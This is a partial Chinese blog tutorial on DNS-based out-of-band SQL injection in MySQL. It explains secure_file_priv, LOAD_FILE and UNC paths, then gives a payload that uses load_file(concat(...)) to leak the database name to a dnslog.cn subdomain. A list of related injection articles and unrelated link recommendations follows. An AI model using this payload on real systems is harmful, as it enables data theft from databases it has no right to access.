MySql注入—DNS注入

1、DNS注入原理


一、DNS注入原理

  DNS注入,是通过查询相应DNS解析产生的记录日志来获取想要的数据

  对于sql盲注这样的方法常常用到二分法,非常麻烦而且没有回显,要耗费大量的时间精力,

  或许,salmap工具可以呢,其实在实测中,因为工具的高访问频率,很有可能会导致网站把我们的ip给封掉,除非挂代理池 

  先来个 知识扫盲:

  1、MySQL 有个属性 secure_file_priv   它有三种状态

  secure_file_priv= ,没有任何限制

  当secure_file_priv=指定文件夹,只能导出或写入指定文件夹

  secure_file_priv=NULL,不允许导入导出

  在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。并且无法用sql语句对其进行修改,只能够通过以下方式修改

  Windows下:

  修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =

  Linux下:

  在/etc/my.cnf的[mysqld]下面添加local-infile=0选项

  2、MySQL读取文件的函数:LOAD_FILE()

  读取文件并返回文件的内容,内容为字符串

  使用此函数满足的必要条件:

  1)文件必须位于服务器主机上

  2)必须指定文件的完整路径

  3)有file权限 

  4)该文件所有字节可读

  以上任一条件不满足,则返回NULL

  PS:LOAD_FILE默认是关闭的,要开启需在MySQL的配置文件my.ini里添加一句:secure_file_priv=   才能开启此服务,,一些网站开发者为了方便查找主机的资料就把这个开启了

  3、concat() 函数

  拼接字符串,用传入要拼接的各个字符串用逗号隔开

  concat('abc','de','fg')  >>>  abcdefg

  4、UNC路径

  我也不知道如何讲,也查找了网上的说法,没看到讲的比较明白的,大概都是 以下的说法,,后面我想想怎么写在加进来,先复制他们的吧

  什么是UNC路径?UNC路径就是类似\\softer这样的形式的网络路径

  格式:\\servername\sharename,其中servername是服务器名。sharename是共享资源的名称

  写的时候把反斜杠改成正斜杠,因为反斜杠有个转义的作用

  OK,,

  select load_file(concat('//','注入语句','DNS域名'))

  这里的DNS域名小白可能不懂,后期我会在添加补充的,今天先写写,不在状态,如果看着不懂或太累 ,可以私信我,我给做详细 解答

  DNS域名获取去一个网站 dnslog.cn

  获取域名(Get SubDomain),查看日志(Refresh Record),这个网站都可以完成

  比如我们获取了一个域名:p.dnslog.cn

  注入语句可以这么写

  load_file(concat('//',(database()),'.p.dnslog.cn/abc'))

  这是一个获取当前数据库的语句,那么获取内容在哪显示呢,就是获取域名的网站,点击查看日志(Refresh Record),,你会在.p.dnslog.cn前看到数据库,

  返回的值就是 >>>  当前数据库.p.dnslog.cn

  我们是不是可以用其他 注入语句呢,,of course

  

  这是半个博客,抱歉

  

MySql注入—DNS注入的更多相关文章

  1. SQL注入-DNS注入(二)

    其实就是盲注的简化版本,不过这种方式确实简单,不需要写py脚本一点点去跑 参考文章: https://www.jianshu.com/p/c805209244c2                  这 ...

  2. SQL注入-DNS注入(一)

    这篇文章相对来说比较入门,参考的文章是:https://www.jianshu.com/p/c805209244c2 0x00前言 前段时间在做盲注 分别是基于时间和基于布尔型的 说真的 这两种盲注真 ...

  3. mysql 带外注入

    带外通道 有时候注入发现并没有回显,也不能利用时间盲注,那么就可以利用带外通道,也就是利用其他协议或者渠道,如http请求.DNS解析.SMB服务等将数据带出. payload SELECT LOAD ...

  4. 十种MYSQL显错注入原理讲解(二)

    上一篇讲过,三种MYSQL显错注入原理.下面我继续讲解. 1.geometrycollection() and geometrycollection((select * from(select * f ...

  5. 十种MYSQL显错注入原理讲解(一)

    开篇我要说下,在<代码审计:企业级Web代码安全架构>这本书中讲十种MYSQL显错注入,讲的很清楚. 感兴趣请去读完,若处于某种原因没读还想了解,那请继续往下. 1.count,rand, ...

  6. Mysql报错注入原理分析(count()、rand()、group by)

    Mysql报错注入原理分析(count().rand().group by) 0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截 ...

  7. MySQL暴错注入方法

    mysql暴错注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法 1.通过fl ...

  8. MySQL防范SQL注入风险

    MySQL防范SQL注入风险 0.导读 在MySQL里,如何识别并且避免发生SQL注入风险 1.关于SQL注入 互联网很危险,信息及数据安全很重要,SQL注入是最常见的入侵手段之一,其技术门槛低.成本 ...

  9. ref:学习笔记 UpdateXml() MYSQL显错注入

    ref:https://www.cnblogs.com/MiWhite/p/6228491.html 学习笔记 UpdateXml() MYSQL显错注入 在学习之前,需要先了解 UpdateXml( ...

  10. 第二百八十一节,MySQL数据库-SQL注入和pymysql模块防止SQL注入

    MySQL数据库-SQL注入和pymysql模块防止SQL注入 SQL注入就是通过SQL语句绕开程序判断,获取到数据库的内容 下面以一个简单的程序登录SQL注入举例: 正常登录 1.数据库有一张会员表 ...

随机推荐

  1. Windows 11 ISO原版镜像文件下载(2024年01月)

    Windows 11 (business editions), version 23H2 (x64) - DVD (Chinese-Simplified) 链接:https://pan.baidu.c ...

  2. spring声明式事务(@Transactional)开发常犯的几个错误及解决办法

    spring声明式事务(@Transactional)开发常犯的几个错误及解决办法 目前JAVA的微服务项目基本都是SSM结构(即:springCloud +springMVC+Mybatis),而其 ...

  3. 常用容器:动态数组array、列表list、队列 queue、map或字典、 集合、栈等等

    一般语言都会提供一些逻辑容器的实现,各个语言的实现方式不同:底层的数学算法应该差不多: 动态数组 `` 这个没啥可说的,就是一个数组,满了时候,再创建一个数组,把之前的数组里的数据移过来,销毁之前数组 ...

  4. Excel分类后数字类型的内容值后面变为0

    背景 在工作中经常遇到从日志或者其他地方拷贝过来的文本,里面使用其他分隔符进行分割.然而,使用Excel的分列功能进行分列后,发现数字类型的数值后面变为0. 有时候我们就是需要原先的数值,该怎么办呢? ...

  5. java 从零开始手写 redis(五)过期策略的另一种实现思路

    前言 java从零手写实现redis(一)如何实现固定大小的缓存? java从零手写实现redis(三)redis expire 过期原理 java从零手写实现redis(三)内存数据如何重启不丢失? ...

  6. EmuELEC 4.3 安装和乐视手柄 LeWGP-201 evremap问题解决

    一年多前安装了EmuELEC3.9之后, 就一直没有再更新过, 平时玩玩小游戏也很正常. 昨天心血来潮想把吃灰的乐视手柄用起来, 结果发现3.9里面没有evremap 命令. 猜测可能是这个版本的问题 ...

  7. OpenWrt的多WAN和静态路由设置

    配置第二个WAN 增加新VLAN Network->Switch 增加新的VLAN, 默认安装已经存在两个VLAN ID 1和2,新增的VLAND ID为3. 对应这行新记录,将CPU设为tag ...

  8. 【Unity3D】点选物体、框选物体、绘制外边框

    1 需求描述 ​ 绘制物体外框线条盒子 中介绍了绘制物体外框长方体的方法,本文将介绍物体投影到屏幕上的二维外框绘制方法. 点选物体:点击物体,可以选中物体,按住 Ctrl 追加选中,选中的物体设置为红 ...

  9. vs 工程中替换 Qt 静态库

    上篇介绍了如何编译 Qt 静态库 编译 windows 上的 qt 静态库 这篇介绍如何替换已有的 Qt 静态库,比如 Qt5.15.0 有很多 bug,我们不得不提升 Qt 版本来避免 bug 导致 ...

  10. 具备有效期的sessionStorage存储

    具备有效期的sessionStorage存储 类方式 // 具备有效期的sessionStorage存储-类方式. class SessionStorageWrapper { // 存储数据到sess ...